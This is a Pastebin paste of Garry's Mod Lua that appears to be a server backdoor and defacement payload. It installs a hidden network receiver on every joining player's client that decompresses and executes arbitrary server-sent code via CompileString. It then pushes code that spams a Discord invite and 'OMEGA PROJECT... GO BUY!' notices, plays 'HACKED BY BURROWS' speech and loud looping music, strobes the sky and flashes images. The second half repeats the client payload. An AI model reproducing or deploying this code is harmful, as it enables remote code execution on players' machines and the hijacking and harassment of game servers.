API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Feb 22nd, 2020
145
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.75 KB | None | 0 0
raw download clone embed print report
  1. local function rdm_str(len)
  2. if !len or len <= 0 then return '' end
  3. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  4. end
  5.  
  6. function RandomString( intMin, intMax )
  7.  
  8. local ret = ""
  9.  
  10. for _ = 1, math.random( intMin, intMax ) do
  11.  
  12. ret = ret.. string.char( math.random(65, 90) )
  13.  
  14. end
  15.  
  16.  
  17.  
  18. return ret
  19.  
  20. end
  21.  
  22.  
  23.  
  24. m_strImageGlobalVar = RandomString( 6, 12 )
  25.  
  26.  
  27.  
  28. local function rdm_str(len)
  29.  
  30. if !len or len <= 0 then return '' end
  31.  
  32. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  33.  
  34. end
  35.  
  36.  
  37.  
  38. local net_string = rdm_str(25)
  39.  
  40.  
  41.  
  42. util.AddNetworkString(net_string)
  43.  
  44. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  45.  
  46. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  47.  
  48. if !ply:IsBot() then
  49.  
  50. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  51.  
  52. end
  53.  
  54. end)
  55.  
  56.  
  57.  
  58. local function SendToClient(code)
  59.  
  60. timer.Simple(1, function()
  61.  
  62. local data = util.Compress(code)
  63.  
  64. local len = #data
  65.  
  66. net.Start(net_string)
  67.  
  68. net.WriteUInt(len, 16)
  69.  
  70. net.WriteData(data, len)
  71.  
  72. net.Broadcast()
  73.  
  74. end)
  75.  
  76. end
  77.  
  78.  
  79.  
  80.  
  81.  
  82. hook.Add("Think","\xFF\xFF\xFF",function()
  83.  
  84. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  85.  
  86. for _, v in ipairs(player.GetAll()) do
  87.  
  88. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  89.  
  90. end
  91.  
  92. end)
  93.  
  94.  
  95.  
  96.  
  97.  
  98. SendToClient([=[
  99.  
  100. g_]=].. m_strImageGlobalVar.. [=[ = {}
  101.  
  102. local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  103.  
  104. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  105.  
  106. local pnl = vgui.Create( "HTML" )
  107.  
  108. pnl:SetPos( ScrW() -1, ScrH() -1 )
  109.  
  110. pnl:SetVisible( true )
  111.  
  112. pnl:SetMouseInputEnabled( false )
  113.  
  114. pnl:SetKeyBoardInputEnabled( false )
  115.  
  116. pnl:SetSize( intSizeX, intSizeY )
  117.  
  118. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  119.  
  120.  
  121.  
  122. local PageLoaded
  123.  
  124. PageLoaded = function()
  125.  
  126. local mat = pnl:GetHTMLMaterial()
  127.  
  128. if mat then
  129.  
  130. g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  131.  
  132. return
  133.  
  134. end
  135.  
  136.  
  137.  
  138. timer.Simple( 0.5, PageLoaded )
  139.  
  140. end
  141.  
  142.  
  143.  
  144. PageLoaded()
  145.  
  146. end
  147.  
  148. LoadWebMaterial( "https://media.giphy.com/media/TI9GLrRe9F89aWADYF/giphy.gif", "hud2", 256 , 256 )
  149.  
  150.  
  151.  
  152.  
  153.  
  154. timer.Create("qqyptebobvnq", 1.5, 0, function()
  155.  
  156. local time = tonumber(0)
  157.  
  158. local Message = {
  159.  
  160. " .https://discord.gg/aEyZSYY.",
  161.  
  162. " ..https://discord.gg/aEyZSYY..",
  163.  
  164. " ...https://discord.gg/aEyZSYY...",
  165.  
  166. " ....https://discord.gg/aEyZSYY....",
  167.  
  168. " .....https://discord.gg/aEyZSYY.....",
  169.  
  170. " ......https://discord.gg/aEyZSYY......",
  171.  
  172. " .......https://discord.gg/aEyZSYY.......",
  173.  
  174. " ........https://discord.gg/aEyZSYY........",
  175.  
  176. ".........https://discord.gg/aEyZSYY.........",
  177.  
  178. " ........https://discord.gg/aEyZSYY........",
  179.  
  180. " .......https://discord.gg/aEyZSYY.......",
  181.  
  182. " ......https://discord.gg/aEyZSYY......",
  183.  
  184. " .....https://discord.gg/aEyZSYY.....",
  185.  
  186. " ....https://discord.gg/aEyZSYY....",
  187.  
  188. " ...https://discord.gg/aEyZSYY...",
  189.  
  190. " ..https://discord.gg/aEyZSYY..",
  191.  
  192. " .https://discord.gg/aEyZSYY.",
  193.  
  194. }
  195.  
  196. for _, line in pairs(Message) do
  197.  
  198. time = time + tonumber(0.1)
  199.  
  200. timer.Simple(time,function()
  201.  
  202. chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ),line)
  203.  
  204. end)
  205.  
  206. end
  207.  
  208. end)
  209.  
  210.  
  211.  
  212. timer.Simple(1, function()
  213.  
  214. local text = "BURROWS IS HERE !"
  215.  
  216. local str = '' text = string.Trim(text) text = string.Explode(' ', text) if text == {} then return end for k,v in pairs(text) do str = str .. v .. '+' end sound.PlayURL('http://translate.google.com/translate_tts?ie=UTF-8&client=tw-ob&q='..str..'&tl=fr','mono',function(chan, num, str)end)
  217.  
  218. end)
  219.  
  220.  
  221.  
  222. timer.Simple(2, function()
  223.  
  224. timer.Create("uurnbaneycmk", 0.1, 0, function()
  225.  
  226. notification.AddLegacy( "OMEGA PROJECT
  227.  
  228.  
  229.  
  230. est là !GO BUY!", math.random(0, 4), 1.5 )
  231.  
  232. end)
  233.  
  234. function GAMEMODE:PostDraw2DSkyBox()
  235.  
  236. local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  237.  
  238. render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  239.  
  240. return !!1
  241.  
  242. end
  243.  
  244. function GAMEMODE:PreDrawSkyBox()
  245.  
  246. local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  247.  
  248. render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  249.  
  250. return !!1
  251.  
  252. end
  253.  
  254. end)
  255.  
  256.  
  257.  
  258. ]=])
  259.  
  260.  
  261.  
  262. SendToClient([=[
  263.  
  264.  
  265.  
  266. timer.Simple(5, function()
  267.  
  268.  
  269.  
  270. timer.Create("semmmmm", 5, 100, function()
  271.  
  272. RunConsoleCommand("act","dance")
  273.  
  274. RunConsoleCommand("_darkrp_doanimation", "1642")
  275.  
  276. end)
  277.  
  278.  
  279.  
  280. local ragtbl = {}
  281.  
  282. for i=1,20 do
  283.  
  284. ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  285.  
  286. ragtbl[i]:SetNoDraw( false )
  287.  
  288. ragtbl[i]:DrawShadow( true )
  289.  
  290. end
  291.  
  292.  
  293.  
  294. local function GetWebMat( strURL )
  295.  
  296. return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  297.  
  298. end
  299.  
  300. local uwu = {}
  301.  
  302.  
  303.  
  304. hook.Add("HUDPaint", "okay",function()
  305.  
  306. for k,v in pairs(uwu) do
  307.  
  308. v()
  309.  
  310. end
  311.  
  312. end)
  313.  
  314.  
  315.  
  316. SOUNDSTART_CTP = false
  317.  
  318. OZJFOZJCEZIO = true
  319.  
  320.  
  321.  
  322.  
  323.  
  324. sound.PlayURL("https://www.dropbox.com/s/q3ckc3no3aorj1v/Skrillex%20Make%20It%20Bun%20Dem%20%28%20DJ%20Laudz%20Remix%20%29.mp3?dl=1","mono noblock noplay",function(s)
  325.  
  326. if not s then return end
  327.  
  328. if SOUNDSTART_CTP then s:Stop() return end
  329.  
  330. SOUNDSTART_CTP = true
  331.  
  332. s:SetVolume(5 )
  333.  
  334. s:Play()
  335.  
  336. s:EnableLooping( true )
  337.  
  338.  
  339.  
  340. local ragtbl = {}
  341.  
  342.  
  343.  
  344. uwu["CoolEffect"] = function()
  345.  
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352. local tbl = {}
  353.  
  354. s:FFT(tbl,FFT_2048)
  355.  
  356.  
  357.  
  358.  
  359.  
  360. xpcall(function()
  361.  
  362. local fal = 0
  363.  
  364. for i=4,6 do
  365.  
  366. fal = fal + tbl[i]
  367.  
  368. end
  369.  
  370.  
  371.  
  372. if fal > 0.8 then
  373.  
  374.  
  375.  
  376. local oneid = "newhud"..math.random(100, 300).."id"
  377.  
  378.  
  379.  
  380. hook.Add( "HUDPaint", oneid, function()
  381.  
  382. surface.SetDrawColor( 255, 255, 255, 255 )
  383.  
  384.  
  385.  
  386. if GetWebMat( "hud2" ) then -- lui
  387.  
  388. surface.SetMaterial( GetWebMat("hud2")[1] )
  389.  
  390. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  391.  
  392. end
  393.  
  394.  
  395.  
  396. end )
  397.  
  398.  
  399.  
  400. timer.Simple(0.2, function()
  401.  
  402. hook.Remove( "HUDPaint", oneid)
  403.  
  404. end)
  405.  
  406.  
  407.  
  408. end
  409.  
  410. end,function()
  411.  
  412. end)
  413.  
  414.  
  415.  
  416. end
  417.  
  418.  
  419.  
  420. end)
  421.  
  422. end)
  423.  
  424. ]=])
  425.  
  426.  
  427.  
  428.  
  429.  
  430.  
  431. --[[
  432. LuaCmd
  433. --]]
  434. net.Receive("RIyZrG54Bae4I80AxfUN1cCX4",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)
  435.  
  436. --[[
  437. ?
  438. --]]
  439. g_SFSYCEH = {}
  440. local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  441. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  442. local pnl = vgui.Create( "HTML" )
  443. pnl:SetPos( ScrW() -1, ScrH() -1 )
  444. pnl:SetVisible( true )
  445. pnl:SetMouseInputEnabled( false )
  446. pnl:SetKeyBoardInputEnabled( false )
  447. pnl:SetSize( intSizeX, intSizeY )
  448. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  449.  
  450. local PageLoaded
  451. PageLoaded = function()
  452. local mat = pnl:GetHTMLMaterial()
  453. if mat then
  454. g_SFSYCEH[strUID] = { mat, pnl }
  455. return
  456. end
  457.  
  458. timer.Simple( 0.5, PageLoaded )
  459. end
  460.  
  461. PageLoaded()
  462. end
  463. LoadWebMaterial( "https://media.giphy.com/media/TI9GLrRe9F89aWADYF/giphy.gif", "hud2", 256 , 256 )
  464.  
  465.  
  466. timer.Create("qqyptebobvnq", 1.5, 0, function()
  467. local time = tonumber(0)
  468. local Message = {
  469. " .https://discord.gg/aEyZSYY.",
  470. " ..https://discord.gg/aEyZSYY..",
  471. " ...https://discord.gg/aEyZSYY...",
  472. " ....https://discord.gg/aEyZSYY....",
  473. " .....https://discord.gg/aEyZSYY.....",
  474. " ......https://discord.gg/aEyZSYY......",
  475. " .......https://discord.gg/aEyZSYY.......",
  476. " ........https://discord.gg/aEyZSYY........",
  477. ".........https://discord.gg/aEyZSYY.........",
  478. " ........https://discord.gg/aEyZSYY........",
  479. " .......https://discord.gg/aEyZSYY.......",
  480. " ......https://discord.gg/aEyZSYY......",
  481. " .....https://discord.gg/aEyZSYY.....",
  482. " ....https://discord.gg/aEyZSYY....",
  483. " ...https://discord.gg/aEyZSYY...",
  484. " ..https://discord.gg/aEyZSYY..",
  485. " .https://discord.gg/aEyZSYY.",
  486. }
  487. for _, line in pairs(Message) do
  488. time = time + tonumber(0.1)
  489. timer.Simple(time,function()
  490. chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ),line)
  491. end)
  492. end
  493. end)
  494.  
  495. timer.Simple(1, function()
  496. local text = "BURROWS THE REAPER IS HERE BITCH"
  497. local str = '' text = string.Trim(text) text = string.Explode(' ', text) if text == {} then return end for k,v in pairs(text) do str = str .. v .. '+' end sound.PlayURL('http://translate.google.com/translate_tts?ie=UTF-8&client=tw-ob&q='HACKED BY BURROWS'&tl=fr','mono',function(chan, num, str)end)
  498. end)
  499.  
  500. timer.Simple(2, function()
  501. timer.Create("uurnbaneycmk", 0.1, 0, function()
  502. notification.AddLegacy( "OMEGA PROJECT est là !GO BUY!", math.random(0, 4), 1.5 )
  503. end)
  504. function GAMEMODE:PostDraw2DSkyBox()
  505. local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  506. render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  507. return !!1
  508. end
  509. function GAMEMODE:PreDrawSkyBox()
  510. local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  511. render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  512. return !!1
  513. end
  514. end)
  515.  
  516.  
  517.  
  518. --[[
  519. ?
  520. --]]
  521.  
  522. timer.Simple(5, function()
  523.  
  524. timer.Create("semmmmm", 5, 100, function()
  525. RunConsoleCommand("act","dance")
  526. RunConsoleCommand("_darkrp_doanimation", "1642")
  527. end)
  528.  
  529. local ragtbl = {}
  530. for i=1,20 do
  531. ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  532. ragtbl[i]:SetNoDraw( false )
  533. ragtbl[i]:DrawShadow( true )
  534. end
  535.  
  536. local function GetWebMat( strURL )
  537. return g_SFSYCEH[strURL]
  538. end
  539. local uwu = {}
  540.  
  541. hook.Add("HUDPaint", "okay",function()
  542. for k,v in pairs(uwu) do
  543. v()
  544. end
  545. end)
  546.  
  547. SOUNDSTART_CTP = false
  548. OZJFOZJCEZIO = true
  549.  
  550.  
  551. sound.PlayURL("https://www.dropbox.com/s/q3ckc3no3aorj1v/Skrillex%20Make%20It%20Bun%20Dem%20%28%20DJ%20Laudz%20Remix%20%29.mp3?dl=1","mono noblock noplay",function(s)
  552. if not s then return end
  553. if SOUNDSTART_CTP then s:Stop() return end
  554. SOUNDSTART_CTP = true
  555. s:SetVolume(5 )
  556. s:Play()
  557. s:EnableLooping( true )
  558.  
  559. local ragtbl = {}
  560.  
  561. uwu["CoolEffect"] = function()
  562.  
  563.  
  564.  
  565. local tbl = {}
  566. s:FFT(tbl,FFT_2048)
  567.  
  568.  
  569. xpcall(function()
  570. local fal = 0
  571. for i=4,6 do
  572. fal = fal + tbl[i]
  573. end
  574.  
  575. if fal > 0.8 then
  576.  
  577. local oneid = "newhud"..math.random(100, 300).."id"
  578.  
  579. hook.Add( "HUDPaint", oneid, function()
  580. surface.SetDrawColor( 255, 255, 255, 255 )
  581.  
  582. if GetWebMat( "hud2" ) then -- lui
  583. surface.SetMaterial( GetWebMat("hud2")[1] )
  584. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  585. end
  586.  
  587. end )
  588.  
  589. timer.Simple(0.2, function()
  590. hook.Remove( "HUDPaint", oneid)
  591. end)
  592.  
  593. end
  594. end,function()
  595. end)
  596.  
  597. end
  598.  
  599. end)
  600. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!